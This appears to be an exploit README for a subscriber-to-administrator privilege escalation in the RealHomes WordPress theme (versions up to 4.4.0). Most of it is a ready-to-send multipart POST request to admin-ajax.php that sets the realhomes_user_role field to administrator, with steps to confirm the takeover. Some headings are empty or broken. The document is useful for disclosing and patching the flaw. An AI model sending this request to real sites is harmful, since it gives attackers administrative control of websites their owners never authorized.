
RH - Real Estate WordPress Theme <= 4.4.0 - Authenticated (Subscriber+) Privilege Escalation
🔥 Vulnerability Summary
The WordPress theme RealHomes versions <= 4.4.0 is vulnerable to a privilege escalation vulnerability. This allows authenticated users with low privileges (such as subscribers) to escalate their roles to administrators. This vulnerability occurs through the inspiry_update_profile function, which improperly allows users to change their role if the ere_allow_users_change_role option is enabled.
This issue can be exploited by submitting a specially crafted POST request to the admin-ajax.php endpoint, providing the realhomes_user_role parameter set to administrator.
🔍 Affected Theme
🧪 Exploit Features
administrator via the realhomes_user_role parameter.🧠 Researcher
🚀 Usage
Login to the target website as a low-privileged user (e.g., subscriber).
Access the /wp-admin/admin-ajax.php endpoint with the following POST data, which includes the realhomes_user_role set to administrator:
POST /wp-admin/admin-ajax.php HTTP/2
Host: targetsite.com
Cookie: wordpress_logged_in_xxx=...
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryNGw1yuikHiYVYYsr
------WebKitFormBoundaryNGw1yuikHiYVYYsr
Content-Disposition: form-data; name="first-name"
test
------WebKitFormBoundaryNGw1yuikHiYVYYsr
Content-Disposition: form-data; name="last-name"
user
------WebKitFormBoundaryNGw1yuikHiYVYYsr
Content-Disposition: form-data; name="realhomes_user_role"
administrator
------WebKitFormBoundaryNGw1yuikHiYVYYsr
Content-Disposition: form-data; name="action"
inspiry_update_profile
------WebKitFormBoundaryNGw1yuikHiYVYYsr--
Check the response: If the request is successful, the attacker will gain administrative access.
Verify by accessing the /wp-admin/ page to confirm if the attacker has been granted admin privileges.
🔒 Disclaimer: This is intended for educational purposes only and should only be used on systems you own or are explicitly authorized to test. Misuse of this code may lead to legal consequences.